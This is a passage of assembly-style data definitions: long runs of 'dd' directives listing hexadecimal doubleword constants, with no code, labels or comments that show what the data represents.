		dd 3CF854B0h, 0C7B72900h, 0E188323Bh, 69F0057Fh, 37C8C118h
		dd 1E839B44h, 0E690C590h, 4A6C644h, 0F5B08A1Fh,	820102Bh
		dd 0F695DB04h, 0ED4A9F64h, 0A0D06130h, 0EA085312h, 0E11B01E2h
		dd 98F116EEh, 0E491A04Eh, 92CCAC24h, 3EFC721Ch,	0A0A80899h
		dd 40564C09h, 59F0CC30h, 104AE924h, 16652A22h, 14345A11h
		dd 7EC40867h, 0AC107010h, 9C9C265Fh, 0ACCF05DFh, 290C214Fh
		dd 18C594Eh, 0FDAAD050h, 1424301Fh, 91731CCh, 17018916h
		dd 22039108h, 0C0D4412h, 0E120F89h, 18481924h, 0A221B91h
		dd 89040544h, 20061207h, 8694DCF1h, 0D129C201h,	2A13B081h
		dd 0CA6BF448h, 5984EBB8h, 0AC044B12h, 0C408A929h, 0C97BBC41h
		dd 13A66420h, 1FC56DEEh, 0DA840073h, 3C32C3EDh,	140E60E8h
		dd 8765C964h, 3DFE776h,	0E3F5EE5Eh, 7C40A646h, 706D130Eh
		dd 0E46C0A3Ch, 32C60090h, 1493ECDCh, 403DDA12h,	0D0FF489Ah
		dd 0B2EAFF04h, 61885672h, 0CDC4BF04h, 17FAD1DAh, 95ED5BC2h
		dd 92366038h, 0DE442CE7h, 0E6900DFDh, 0E209FC2Ah, 38A1792Dh
		dd 0D6557F04h, 3E176B00h, 0E675E558h, 52BF14DDh, 0F3141080h
		dd 0AE38ABh, 0FB98555Bh, 3E58562Eh, 0E187B3Fh, 0C2E018EAh
		dd 0E807EB71h, 47F191EDh, 0F31F1CCAh, 6081D45Dh, 72CE1D52h
		dd 0BD902848h, 870CE44Eh, 412C1FFEh, 31C560B5h,	90FF757h
		dd 7FEA8C03h, 0E327940Dh, 7CD1C1CFh, 0E097E0h, 2A6F3579h
		dd 0F69D317Dh, 623C7F05h, 1473DCFBh, 3267C181h,	36083080h
		dd 3178E288h, 0E09320h,	3965ED9Bh, 360FB8Ch, 24155D0Fh
		dd 70E7800Ch, 18E157EEh, 185E3D63h, 0EA01973Ch,	0E6890F0Dh
		dd 67D30770h, 40F22880h, 9F9903Ah, 0CE188EE8h, 77783D0Eh
		dd 50806031h, 8D06307h,	0B0F59C1h, 0C49E69Fh, 57A808h
		dd 8C0364F6h, 883C0CEFh, 0D7ED10Fh, 3065C563h, 968020EEh
		dd 1B1FA3B6h, 7785DD34h, 0E840C181h, 0BBE699Ch,	0E1E65ED4h
		dd 90CA7B58h, 3311DF00h, 2F01EDE1h, 105F4205h, 0A300A11Fh
		dd 9860803Bh, 24D2125Eh, 3E3C003Ah, 0E713AB9Ah,	0CB349501h
		dd 0ED398077h, 4D7E1C00h, 69C4BB00h, 0BFF49AE6h, 0DB5A02EEh
		dd 0D80BF2EFh, 0E05BD201h, 204F0AD0h, 0B5346B99h, 1848A178h
		dd 0CD68B203h, 698CE00Dh, 0AF31608Fh, 0D0F96D2Fh, 5E2C80C4h
		dd 0B11E9EAh, 14770717h, 4E90408Ah, 0F438B730h,	156A586Ch
		dd 0E64E5CB8h, 5230D943h, 0E218A86Dh, 0DFB53153h, 90E959C0h
		dd 0C4DBC31h, 6CC9E303h, 0D905EB40h, 60CD884Ah,	0C450D008h
		dd 32E31C0h, 98182B18h,	0B4312A4Eh, 6BB9C1EAh, 80BB84A8h
		dd 28625868h, 0A9E73A66h, 0F18094A4h, 0D4C4E1A7h, 0C84609Fh
		dd 0D97A4656h, 0DAEE1631h, 4C6A18DDh, 58AA6B28h, 74688480h
		dd 24802F88h, 3718FEA6h, 1198C039h, 31C4CAA2h, 5C91A16Dh
		dd 4C4261D8h, 0E858A8EBh, 52910E98h, 47DE245Eh,	0B9ED1928h
		dd 12A441ABh, 0E46D13BDh, 74EE242Bh, 9AB83CDBh,	89F2C442h
		dd 2BE70544h, 4E880F21h, 0E450CC44h, 0EE3D2184h, 10E94256h
		dd 76FCECF5h, 97847442h, 0D4AD4888h, 44777A21h,	0E4A5238Dh
		dd 42FE3A3Fh, 5D447388h, 4F3A106Ah, 0CD13B6A2h,	7E10C86Ah
		dd 8EBBA261h, 0A8A07528h, 246C4606h, 0AF4250B5h, 816C6892h
		dd 60468AC2h, 934B24Dh,	10DD8EABh, 0E65F4060h, 861D23Ah
		dd 0DE11ED8Ch, 2834B228h, 0DCA77012h, 0DC602290h, 291D1509h
		dd 0B12B64EEh, 820E470Dh, 6145E182h, 118AE7DCh,	683834F2h
		dd 0C4E6458h, 0A3A57993h, 3C71FD70h, 409155C0h,	0BC2005C6h
		dd 0A02190F5h, 643392E2h, 41D84848h, 130499F4h,	9DA26C37h
		dd 0B02A1A00h, 2F002BD5h, 2925275Bh, 0F0DBD6BAh, 66E0009Eh
		dd 7AD9ABDDh, 0E35C8E30h, 12AE0914h, 2C005518h,	0E1BC0370h
		dd 96380A16h, 6E27E400h, 0E070FC6h, 328D19Dh, 1700EE92h
		dd 27DBD492h, 5CE2C81h,	0EEC0CD8h, 80E1D40h, 0E5F8923Ah
		dd 44C48130h, 0A591404Ah, 0E18C0F00h, 0E8B2EE1Bh, 63030A08h
		dd 403029E0h, 88321815h, 1C7FE629h, 34180497h, 2D66F39h
		dd 0E7633064h, 609A3265h, 4124157Fh, 837FE797h,	0FAC9E670h
		dd 0E273A248h, 0EA183064h, 8E03000Ah, 516609F8h, 3C752511h
		dd 2CDCE62Bh, 21AE0F12h, 0F0C926D0h, 252BC68Ah,	6E1F38C1h
		dd 8AF017C0h, 0A3167C3h, 0C208F58Dh, 0E040E814h, 388AC0DBh
		dd 9A29A700h, 9B077AEAh, 0AC644AC9h, 13678124h,	442CED3Fh
		dd 53C6A1BEh, 41B4C71h,	9E03EEACh, 82D8F787h, 6BE2B886h
		dd 0E070054h, 0DDCA792h, 0C800B18Ah, 0C7F7F44Dh, 74A1AD0Ch
		dd 0E0B378C0h, 70C6000Eh, 0ACB4FED9h, 0AF0309DAh, 925715A2h
		dd 8803E0B0h, 0F520E9B1h, 1E1AF071h, 1DFFA6F9h,	7D701BDh
		dd 0E41866A1h, 0CC1DA5BBh, 0DA07B908h, 0C080A0FEh, 1DA6A1FBh
		dd 34E04D1Ah, 0F4C86F90h, 66E8043Eh, 0A1FCE900h, 0E616CEB9h
		dd 6DB0380h, 3AC0AFA5h,	0D408C9Ch, 3580E48h, 0BCB4070Bh
		dd 790800D5h, 0B0A3EB0Ah, 0B93C0DC4h, 0A5307067h, 0A0B340BEh
		dd 0E60700D9h, 8BFBD3AFh, 13AA374h, 74D23C89h, 2031B100h
		dd 3C8BFA5h, 0DABC0EA0h, 0D727B416h, 0D9724001h, 0A490B63Ah
		dd 0AFAD0F0Fh, 0BC8A06DAh, 90B87460h, 174F0ACh,	0B0A103D6h
		dd 83AE170Bh, 0BABD3A40h, 78A5A3D0h, 70A778C8h,	1F73E8CCh
		dd 5CE601D6h, 3A131D0h,	0CDAF0B3h, 0D90AB2EEh, 9879A2FBh
		dd 567D0448h, 0BA00F8A5h, 73A007DBh, 740C7BCDh,	0E00D01B4h
		dd 0E606A3A1h, 3C6063BFh, 0C4980340h, 0E173B905h, 0B827B417h
		dd 9C21849h, 0F041BFBEh, 11C30ADh, 2E8AF71h, 0CD0FE890h
		dd 98ACA43Ah, 0F9D7BA90h, 0CBE37C61h, 0CC6C1B4h, 0A20DB8DCh
		dd 0F5043560h, 7F96602h, 99C4C9A3h, 0B430AC21h,	84E4B3B0h
		dd 0CCFBC973h, 98B0B50Ch, 0C7A48916h, 9EB1DC0Eh, 0CAB09E3Bh
		dd 0C0A78A05h, 1C20C489h, 9CB6273h, 0C4C201D9h,	0DA65E494h
		dd 0C090A750h, 7042F5Dh, 0F40A7A8Ah, 108319A0h,	687CB0B9h
		dd 0FE0BBB78h, 90DABAA3h, 0A5B30120h, 0F9F5BF2Ch, 1EA64070h
		dd 7CB5FBD7h
		dd 3A40143Eh, 0AC848C3h, 67B0C689h, 0BAED80E0h,	50024918h
		dd 386D1EA2h, 0F504C87Fh, 0FFF7057Ch, 0C09B9240h, 0DAB9A500h
		dd 0AC1488F0h, 0A11C1AC7h, 184E0E07h, 800AC285h, 89E7D7C8h
		dd 16CDB114h, 860BEF68h, 0EC02EDC0h, 0D8C006D7h, 0B55CEACDh
		dd 8A033B64h, 1807C6B0h, 0AFC99698h, 0E650A8C0h, 0E3FB3C94h
		dd 0CD9908Bh, 0AE0A20A0h, 38B8CFBCh, 87A3B027h,	0AD41CA44h
		dd 3C3CCDBAh, 0D410ED9Dh, 0AFFEDA2Bh, 8801E00Bh, 0A08081BDh
		dd 8AC0C0B8h, 0CC40282h, 0EC9B4ADh, 0C4EB90E1h,	0E720748Eh
		dd 1850B00Dh, 21CCBCB7h, 8A0112C7h, 8BFDC4A6h, 503DCEBDh
		dd 0C8B00725h, 0A4608F1Ah, 0E8979368h, 0B4A128FCh, 344BE780h
		dd 0C0A683B0h, 0FA180494h, 29CCA160h, 7C34BAFDh, 0E4CEB82Eh
		dd 0C50F420h, 705CAA8h,	6CDB58Eh, 0DC0BF001h, 0D8D19D97h
		dd 3ECEA5ECh, 0D398E60Ch, 0BFF82103h, 0FBD9AF0Eh, 0C8CC8AA4h
		dd 2D67306h, 27C65B90h,	0E19A64E0h, 4B380D80h, 8BEEF010h
		dd 16D91BB5h, 0ADE1E893h, 852880B6h, 993BEC84h,	801C90A6h
		dd 4A02D5DCh, 0B9B000ADh, 0A50CD7ABh, 33CB674h,	0B817CEAFh
		dd 0A553E072h, 801097C4h, 73FC848Ch, 0B11CF8E6h, 6CDC28CCh
		dd 0D88D8FAh, 0D0DCB351h, 0D0A296E6h, 0E8FD80Eh, 1CF9500h
		dd 498BEA3h, 80A183F0h,	4E0820A5h, 0C958CC14h, 0F0AF2AB0h
		dd 1D37438h, 2EBBAB8h, 81F3B0B4h, 288F79B3h, 0E91973A1h
		dd 92A602D6h, 5FDC9858h, 0B060962Bh, 4EDCA530h,	0CB60D4B4h
		dd 90A7B60Ah, 0F4A65344h, 0F564644Ah, 2042F6F0h, 0FC003070h
		dd 0CCC81E7h, 0CCC4A18Ah, 0AFC098E8h, 7CDBC17h,	5EB847Eh
		dd 0CF7DB40Ch, 3DBC042Bh, 0CE5393Eh, 19CC15FFh,	74B100AFh
		dd 0CFE146A2h, 0C96E4E79h, 1221F808h, 0F67472BAh, 0C23D0E44h
		dd 7BC01E5Dh, 6AE78A46h, 630AD800h, 124D43CCh, 0F57D1CFEh
		dd 4E3A00F7h, 0CD164B2h, 4C761F07h, 308C0392h, 0D68900B4h
		dd 8EF804BCh, 7960E795h, 0F1FA3BA0h, 4A60C003h,	0ADD45072h
		dd 30A90A00h, 0C234B514h, 0C8F4031Dh, 0C0D8CF7Bh, 209E1CFAh
		dd 0D14523h, 0D6CFE11h,	472A748Fh, 2F008C0Bh, 0F3DD363Fh
		dd 3139F8B1h, 87B8C67Ah, 8875E074h, 35159BE8h, 0F26C1F70h
		dd 0BC101ADCh, 1000E237h, 787BD3A3h, 0ACA50D40h, 0C5DE401Ch
		dd 38D992B0h, 3A1CA1C0h, 1F91E218h, 608AC8E0h, 0EA3B61B2h
		dd 18C020D1h, 0E2DB4D44h, 94FA5149h, 0F8C001E7h, 3E679084h
		dd 7DE882D1h, 0B9350602h, 3006C4A8h, 2C2B4486h,	0F1CEC4D2h
		dd 91117842h, 9BC887A1h, 0DFF1C777h, 0A88962D8h, 5020719Ch
		dd 0F0948AF9h, 80A2423Eh, 0D21D1F23h, 1E88F827h, 183D3CB6h
		dd 0B8D78B4h, 50D9C940h, 44BEC8BAh, 0D2A120C8h,	37308CC0h
		dd 81910Dh, 2E2A2447h, 0B89C04B2h, 201C0B56h, 0C16B606Eh
		dd 3359F2B4h, 0D15E5800h, 17A88553h, 0DA3F1420h, 0F714A0C4h
		dd 161194A1h, 41A603DDh, 0A0BA9114h, 3897A058h,	6700046Dh
		dd 4FDE5B6Bh, 20E33D56h, 48C06C0h, 46A774B6h, 20E262B9h
		dd 6074BF0Dh, 3555E115h, 8E6EE880h, 0BD9E74A0h,	609BBA80h
		dd 3BB1F977h, 75EEEFE3h, 37BDF918h, 62263FE8h, 15A7F8CAh
		dd 0E4F4C700h, 36850310h, 24A9ED3h, 0C860187Fh,	0E543B0B9h
		dd 0CF660703h, 0EF324B0Bh, 79E24240h, 4910F67Ah, 0B629B41Ah
		dd 0D6659ECh, 8500B1C9h, 0C8689A2Fh, 0A91CD898h, 227828A3h
		dd 339D8AEh, 20B029FCh,	0F87080E5h, 0A8729C5Ah,	0BFD08Ch
		dd 0C0EB0A44h, 4FB34037h, 0CE158001h, 60E38243h, 0AC01E421h
		dd 0ACFCE78Eh, 0C0105467h, 4009002Ch, 59288618h, 0F0638DD3h
		dd 38B3FB08h, 4000CB20h, 3D50AC5Dh, 0DFF58A91h,	9705501Dh
		dd 8045D0A8h, 0FA5019F0h, 290206F6h, 812FEB0h, 0BB216760h
		dd 0DA5021h, 1BECE633h,	3CEAE1F7h, 9186C4A3h, 0F4DEC700h
		dd 0A4246D36h, 23D20379h, 0DFD174EFh, 436C03A7h, 97CE7E8h
		dd 0D0564632h, 400C30ADh, 0F0861711h, 0CC80F488h, 46B64003h
		dd 0B74C0955h, 0AC2FAF64h, 918EFDC3h, 152AC7F0h, 16832301h
		dd 0AF265F54h, 6A41F600h, 81FCE450h, 0B6B22F13h, 0EE49CC42h
		dd 845302BEh, 80F18C8Eh, 0F60E5015h, 6A448C22h,	501D0BBFh
		dd 5C0225F1h, 0BD00520Bh, 900CC9F2h, 4B770C3Ch,	0AC895A2Fh
		dd 0F77A440Ch, 3A3B2870h, 0E740A9F2h, 792806F0h, 0B0468C5Fh
		dd 14400D02h, 0F8310886h, 40041317h, 463F86D8h,	2368AB6Fh
		dd 4D43642h, 8E3705D8h,	514890BEh, 18C0EAC2h, 4F657795h
		dd 2DA90B2Bh, 74024C41h, 0C062F169h, 18022841h,	0A37408B2h
		dd 0E3C4D946h, 74BB1141h, 3342680h, 7261F6F5h, 0E47000E3h
		dd 915F8DDBh, 0A0A8759Ch, 0E7009E6Eh, 481F85D3h, 0A04E74B0h
		dd 61037Ch, 8B8E162Fh, 0FB91A8EDh, 0E6526CA4h, 0C038F794h
		dd 4C98FC53h, 0A815F302h, 46823E51h, 0BB00A108h, 50041818h
		dd 28FAF609h, 0BC206C32h, 4CE45020h, 3A056BB6h,	11CB9EAh
		dd 333D78E8h, 0EB924136h, 0B710205Eh, 78605841h, 182141A1h
		dd 0E7FCF898h, 27C86500h, 86470696h, 0BE8A5BEh,	48853CECh
		dd 44D40BF0h, 0A529884h, 85C3F013h, 3CDE367h, 0DDF9C740h
		dd 98029546h, 65217D1Eh, 0D4A048B5h, 0B38C0EA3h, 863893Ah
		dd 830B933h, 0ABF221C0h, 103D488Ch, 0B8226273h,	0ACA0FE66h
		dd 0C42A42F1h, 1F5160E9h, 0DECC2900h, 40AAB82Eh, 72440677h
		dd 382CB1FAh, 7D701148h, 4007058Ch, 3818861Ah, 0FE07C9DCh
		dd 68944340h, 1A1277D0h, 8D5201E8h, 82449A8Fh, 1C7874FFh
		dd 32D16901h, 4A52566Eh, 9953F824h, 4E9B8104h, 0FC4CA86Fh
		dd 466FF78Ah, 0E8706A38h, 0D7B5C280h, 7CA2EBA7h, 0FA53709Fh
		dd 0BA600191h, 7C2548A6h, 0C6982031h, 5349797Dh, 0E1FA17E4h
		dd 661C8C42h, 589CA3BAh, 2571F0E4h, 1D9E86Fh, 8857519Eh
		dd 3614D191h, 76BC000Ch, 0C7CA95E5h, 0A46E0486h, 8AE48F90h
		dd 3AF2378h, 8615400Eh,	20F56284h, 314005CEh, 209FE00h
		dd 0F06B9CADh, 0D61D1FE0h, 0EBAC05C4h, 128460BAh, 511C6DFEh
		dd 20E574EDh, 0CE5F2564h, 9F0480D6h, 0AA378809h, 51ACA1C9h
		dd 300BDFEh, 68933469h,	0A808F112h, 5017C3BCh, 2912F6A8h
		dd 1FBD8185h, 70A92D50h, 950EA8EFh, 1849A7Ch, 7D3B8246h
		dd 0CABE58BFh, 3282DA4h, 7A2799C6h, 6E9C1818h, 1D32C449h
		dd 0C07F0575h, 8B9E70C7h, 260F9867h, 0E2680DA5h, 4C096D41h
		dd 14ECE798h, 0F003517Eh, 4D2F708Ah, 0D07145F0h, 0AD87F124h
		dd 2A5452F2h, 3C01DBCCh, 5CAFE733h, 0E0337BECh,	9830FAA2h
		dd 0F816041Bh, 88CD6261h, 0AB44AE5Ch, 37580644h, 881609FAh
		dd 346D090h, 0A674B502h, 0F8E7C146h, 74BE0E00h,	9ED22Ah
		dd 543ECA64h, 564A4E84h, 918D84Dh, 68CEDE2Fh, 81DD2A58h
		dd 2654264Ah, 3616CCEFh, 29A6FC30h, 0D6960002h,	7B84CE3h
		dd 5D07C4E9h, 88241B8Ch, 0EDEED990h, 26A17EE4h,	11408BA7h
		dd 8CA28022h, 8C913AB2h, 0EFC744h, 6AD18CAAh, 31FFEC2Ah
		dd 6701041Dh, 3218ACCBh, 559404F4h, 0E2643229h,	0FE6C30E1h
		dd 0C9AB626h, 0E2290340h, 6FD203ADh, 2EE666E3h,	0F5B216F0h
		dd 95523201h, 2DA8CF0Fh, 907C1020h, 0C956228Ch,	497B3130h
		dd 0BAF2624Eh, 84872438h, 1DCFC224h, 0D9C0CC6Dh, 4091EA3Ch
		dd 5000E703h, 0E3AF31Ah, 0B1DE7267h, 37874320h,	8E5DDE2h
		dd 1D3CBE0Fh, 6416F713h, 284A009h, 0AC10E48h, 0BFAE0810h
		dd 0F510C400h, 12A6756Fh
		dd 1261F791h, 12F46094h, 0C2302F86h, 0E69530C5h, 242576E5h
		dd 871C0465h, 30DD35FCh, 34A2491Ah, 6AFE9614h, 0D4F100D9h
		dd 389B8DF0h, 90F0AC90h, 1B94628h, 0F607501Ah, 620C28EAh
		dd 22BA88h, 0D72AB850h,	19B24A84h, 0F1D64E01h, 6BFF7A43h
		dd 9186405h, 748CAEE0h,	0AC4CBEC0h, 0BA6E8474h,	617A3A46h
		dd 5E092898h, 9890FA6Bh, 4D74F07Ch, 4684A04Ch, 60950EDBh
		dd 0F0C5A660h, 16AA1287h, 0D43C47C7h, 45DB069h,	760C68ECh
		dd 518B9A78h, 0D2222534h, 30105C1Ah, 0BA5C671Fh, 0E79F85FCh
		dd 0F6C8148Bh, 0A5EC27C0h, 77EF0B8Fh, 58820A32h, 2007533h
		dd 53B684F7h, 0C12F071h, 5078C766h, 0CE193291h,	0CD1CC204h
		dd 78883603h, 1A3A1056h, 50E401D7h, 0BB4D01B7h,	90FCB460h
		dd 0D748434h, 89DCAB3h,	484C3660h, 11D2318h, 3AB78CA7h
		dd 88CC18A9h, 8C02AFF6h, 0C34206CEh, 0FD9040F1h, 38CCB926h
		dd 1FE0C5FDh, 2030086Dh, 0B48CA4C0h, 2281463Ah,	0ACF100CBh
		dd 0E479708Ch, 4800E7FAh, 69E53DC6h, 2A9244A4h,	0ADC71A3h
		dd 0D60FB8C2h, 30030588h, 0FE8C4097h, 7137B09Fh, 3E26023Ah
		dd 82C8484Ah, 405FB52Dh, 403A3FB8h, 0EF58ADD2h,	12E3850h
		dd 51F81431h, 0AC40DA4Eh, 99712EDh, 383CEACEh, 0C23D7880h
		dd 0E494F36Dh, 0C85510B2h, 947A7898h, 4344544h,	607784h
		dd 6AD68B12h, 0B430F5FFh, 23CD07B5h, 6331061Fh,	0C7F2F5Dh
		dd 1CED9510h, 3D8D0B04h, 0C08B0016h, 0F01BF66h,	0C1BD8343h
		dd 7581185Bh, 51129E09h, 19740C22h, 0B8345350h,	3BAD14Ah
		dd 0F65856Ah, 9D8D2403h, 0A21AFA4h, 585BD372h, 1017C422h
		dd 0AC93F120h, 55E06A18h, 2E03E837h, 0C35D2001h, 0FF3A89C9h
		dd 1A7E33h, 0C3554521h,	0E0A8358Ah, 2E0A4006h, 1F0CE9h
		dd 61AB0701h, 0D0F86E08h, 115ABA01h, 0C88B662Ah, 87536C91h
		dd 8922C35Bh, 1016315Ch, 18C35343h, 421176C4h, 960E9D6h
		dd 88E671Dh, 20B20515h,	191AA6B0h, 1851629Ch, 23C37259h
		dd 17114C89h, 0C3514100h, 0A75DF367h, 1911E931h, 0E3E80DB4h
		dd 4F9B0087h, 5B4148A9h, 880096A8h, 89FAD9DCh, 0A01B8D9Dh
		dd 3085C6ACh, 470C2025h, 0F60BBA66h, 5C168F0h, 7C2E931Ch
		dd 0AB091723h, 8AA402A7h, 0D93C41C8h, 0C081639Eh, 3B158364h
		dd 4D34858Dh, 332E1839h, 99001C23h, 16F506C7h, 0A4E6094Dh
		dd 29048B11h, 0D0FF012Ah, 33800EE8h, 90F2CD53h,	19F8ADEDh
		dd 2C120300h, 893432EFh, 21D31BDh, 4B505A36h, 0C01B8847h
		dd 0B3D917DEh, 6D231603h, 0AE95Dh, 390EA421h, 0B7907C76h
		dd 894A6C38h, 2855B589h, 610485B5h, 57482207h, 91C35FC3h
		dd 19187C89h, 1C574788h, 439218C3h, 0C7E19ED4h,	1F019483h
		dd 0D3D78166h, 3023582Bh, 0D23014A2h, 0ADBD3D01h, 8E0FAAE3h
		dd 8D291F70h, 56115BB5h, 22C35E87h, 18317489h, 0C3564610h
		dd 10620C01h, 5760AD8Ah, 1CE98941h, 56615800h, 2995031Ch
		dd 0C22BE729h, 56CA2578h, 0B900B2C7h, 0EEC7637h, 46F7883h
		dd 8219E8D8h, 2E758D8Bh, 91B2826Bh, 85C72848h, 143F566h
		dd 0BF0F132Dh, 756404C8h, 714C590Dh, 0BBEE913h,	1232F507h
		dd 0F220A645h, 0FBF6198h, 8DC2E6C3h, 5D40421Bh,	0E1AC5021h
		dd 242CA631h, 334110DDh, 8143E84h, 58C3508Ch, 448991C3h
		dd 40808433h, 5CDFC350h, 36A65400h, 8D23C6ABh, 752E5009h
		dd 6B1868D9h, 78B1475h,	40D9D540h, 8C016608h, 0F6F18ADBh
		dd 988804C3h, 0C728057Bh, 9F32C529h, 982A0E94h,	811D2120h
		dd 34BD880h, 148081A6h,	0D79958Bh, 81605799h, 11538DAh
		dd 866843B4h, 43E3E45Bh, 0BF49C1DAh, 0B2098A3Eh, 4C0C111Ah
		dd 12E9373Eh, 185BE06Bh, 0DA000F1Eh, 0B9DD3A83h, 1ED90494h
		dd 0D28C0252h, 2B440BA2h, 39304h, 0A934B8BFh, 468246Ch
		dd 0A60F940Ch, 81129C42h, 0D7173203h, 176565C0h, 71043ED3h
		dd 530A07A9h, 1C4674E4h, 0A6D19500h, 0D61E61A9h, 0F545E0Ah
		dd 0F54BB286h, 45DFDD10h, 37ACE100h, 8973291Bh,	0B02F00C0h
		dd 1660179Fh, 0A0315DC2h, 99B6E2C7h, 54159244h,	0DE040C43h
		dd 4055B450h, 7D0CBA0Ch, 2E4726B9h, 0E00250FDh,	58A370Fh
		dd 0D8BDF077h, 50051E9Fh, 26799D29h, 0F9D0C120h, 0BF30C621h
		dd 0B52420FEh, 9543F8E1h, 0FC0D01A1h, 230CC483h, 19749BDh
		dd 0BB806896h, 1203B667h, 0A915DF17h, 52501832h, 0BCA43051h
		dd 2AAEE06Ah, 12876850h, 65C7B15Eh, 8918641Eh, 2220A045h
		dd 823A14D2h, 0C7031523h, 0E68F0FD4h, 0B9663E17h, 0D6BA4500h
		dd 3D14920Ah, 2037D024h, 293B838Ch, 0B18D1A03h,	45129224h
		dd 5D19782h, 70BE803h, 6477F02Fh, 0FF3AE079h, 540A7C9Ah
		dd 8B5AF906h, 20107508h, 2CD520C0h, 3DE0E936h, 23592B16h
		dd 0C5BA1C35h, 25178814h, 0D0F4A22h, 2B5643D2h,	2D6935FAh
		dd 7214A65Ah, 1A4674h, 16D6C6B0h, 0D0C2F928h, 13489C44h
		dd 2B8F0AD2h, 60882C3Ch, 0C007E045h, 8A8BBD00h,	47405356h
		dd 9B6406C9h, 301A2F4Ah, 0CF69D2B0h, 8066B79Eh,	0B679776Bh
		dd 98B10B5Bh, 551AB5ACh, 0E42285FDh, 4ED1D322h,	5276C849h
		dd 91C35AC3h, 1F235489h, 0C3524281h, 95D69C2Ah,	838B9564h
		dd 0AF82F7F8h, 0FC06014Eh, 0BA5A1678h, 23D43B21h, 0E1DA001Bh
		dd 0F02C2DBBh, 0D614FD31h, 87221B69h, 75BA660Fh, 0F98B5E78h
		dd 0B24A63E9h, 0B6903015h, 95292FB0h, 0CD208B2Dh, 3909FA40h
		dd 0DD0E59Dh, 5882C0Fh,	0D836C394h, 0F3A77E46h,	0B2F59ACCh
		dd 0E066D4h, 86DEDAA0h,	0A8CCFFDCh, 333A910Eh, 7C64C0FBh
		dd 0ACF8150h, 5E72171Fh, 8721C8ECh, 0F06F3F3Bh,	70E8AF3h
		dd 13852E07h, 6DC5C9C0h, 1E64DD56h, 1C3164C1h, 0ECB68105h
		dd 18E244FCh, 0A8EBA4B1h, 0DBD11C2h, 854E6C31h,	6018C4BDh
		dd 24C17361h, 7C82C41Dh, 980F1446h, 1ACB9531h, 0C1C69EAEh
		dd 0E1F89910h, 0BA04FFB2h, 6982D5DFh, 0A360C3D8h, 0CE2FCAFCh
		dd 9CF00CAh, 0BEED93CAh, 0F500EB04h, 0B66A1759h, 19E2B756h
		dd 0B061D7A8h, 20012153h, 5C24460Fh, 3F0A4B59h,	0D80496BFh
		dd 91442202h, 65021311h, 21B9995h, 7B97046Ah, 36801C11h
		dd 0BEC6C8CFh, 408E2F06h, 6074F8E8h, 0BD895BB5h, 75D41405h
		dd 8C17E84Dh, 4C5AD709h, 11AD1FEBh, 8A258314h, 0BF3C03E8h
		dd 30D95692h, 0B59801BAh, 0C10E8223h, 2062B61Eh, 6A1B2296h
		dd 0A66302D2h, 70305C9Bh, 289400CCh, 1D465Eh, 0C2EA8242h
		dd 0E52E1EE9h, 44DA7561h, 6F7505E3h, 44D4734h, 81C07ADFh
		dd 2908811Dh, 111924C7h, 0C4468F45h, 13F0DE8h, 0FB16BB14h
		dd 0CC4A2D81h, 480BE5EEh, 10E8FDADh, 0FCA107h, 7344B574h
		dd 0EBF52D3Ah, 486D6400h, 18725AA5h, 5FD5E953h,	0BC801E38h
		dd 361FA045h, 0C78AA200h, 9D10EB21h, 573B006Eh,	65BCE981h
		dd 5F0958B5h, 0B7C08B59h, 290C87B4h, 104EC00Eh,	798C1E6h
		dd 0C1E314E1h, 903FD2E2h, 5760BDD2h, 785156E2h,	0BB9530B0h
		dd 3EAE3102h, 5160ED70h, 9CBF801Dh, 1263622h, 6A7D952Eh
		dd 0FE26198h, 2FDB186h,	1A558D29h, 191335Bh, 23132F4Fh
		dd 917D0019h, 33BBDFB5h, 0AD350975h, 2530560Bh,	7F1994h
		dd 0FE9B3852h, 72D65A81h, 0DD795C0Fh, 0E9FF6376h, 2E2D0E08h
		dd 0F8005639h, 5F2C53E2h, 0E7B86804h, 0AA81CEE4h, 34281BE5h
		dd 6DC00CB4h, 0D40A687Bh, 19C005DBh, 0A33125F0h, 50F7C20Eh
		dd 0A868B980h, 0A1120ABh
		dd 74C00B1Ch, 32D88BCCh, 2207223Ch, 109D352h, 9388366h
		dd 0B5410A75h, 9E1932C1h, 7760F956h, 617D325h, 3573056Dh
		dd 0E09E14Ah, 0C45EC701h, 0F90A601Dh, 196C02FCh, 46D49AE7h
		dd 20D77D41h, 8E4E8348h, 9C342728h, 0CA00F696h,	289EFDE2h
		dd 0A9F8CEB1h, 0E90105CCh, 12F894Ah, 0A458EAB5h, 825932D8h
		dd 8DF5A50Bh, 0AF032768h, 0E8A92415h, 0EFC54017h, 0BE09FB35h
		dd 9843DC0Ah, 0A237D2h,	9C39C401h, 0F25B83F1h, 0DAEDE07h
		dd 0FDF04E55h, 91505A41h, 1814D17Ah, 0AF858A5h,	9911C54Ch
		dd 13222Ch, 0AED6EEA0h,	47B232D5h, 0CCB86B00h, 8FF90F93h
		dd 0DC310BCh, 0C7810198h, 5FEDA180h, 8C8CD474h,	0B1FFE112h
		dd 2B0D1704h, 0CA8B6003h, 0E8F7B8F0h, 3FB06150h, 0BF0F8CA8h
		dd 0FF4B6AFCh, 84001C6Eh, 715C6AC5h, 8014A191h,	35C2E9F2h
		dd 8C107D85h, 0BCAE4D36h, 40E85E71h, 2554F123h,	690131BCh
		dd 0E66212D1h, 0F8823FC3h, 5F1185D9h, 74A6B9F1h, 4B40E09h
		dd 0D6945005h, 1FA1C8Ch, 1DD30243h, 0C450BB6Eh,	5B948F0Fh
		dd 0B10E98Ch, 247900F5h, 5E7B73B3h, 0A101A0A7h,	61527ED8h
		dd 7288FC71h, 0E8122DB1h, 0E6412720h, 0ABF63DA0h, 0F13E1183h
		dd 3A0936Dh, 320028C9h,	0D38B04A7h, 25B5295Fh, 0F1A62CDDh
		dd 8D90ABDAh, 94077920h, 1B5D1835h, 0A5B6CE8Bh,	4A1D4674h
		dd 0A627A540h, 24F8E7D7h, 4044E8E3h, 4E9AE16Bh,	8A266E00h
		dd 359F5E63h, 2DBF00ABh, 59481168h, 8B1466ECh, 40EF5ACBh
		dd 0E52A8057h, 234CFE39h, 1BDB184h, 0DD7284EAh,	404335B1h
		dd 0CBDC22CEh, 1D4444A7h, 2B8CC960h, 1BAD2607h,	6080ABEFh
		dd 2C8B50F8h, 0A160E1BDh, 20E81657h, 83306571h,	0B7700813h
		dd 2413204h, 4060590Ah,	1A3D9D89h, 0C5EE5284h, 33FDBD1Bh
		dd 0AEAAC621h, 0FF00D477h, 43D59978h, 6C505247h, 0B170C4A5h
		dd 0E94FA892h, 497F3B40h, 25DFFF3h, 0A936045Bh,	7292A051h
		dd 13E53540h, 0DF20C6A5h, 0AD56D762h, 0E6698424h, 408DE94Ah
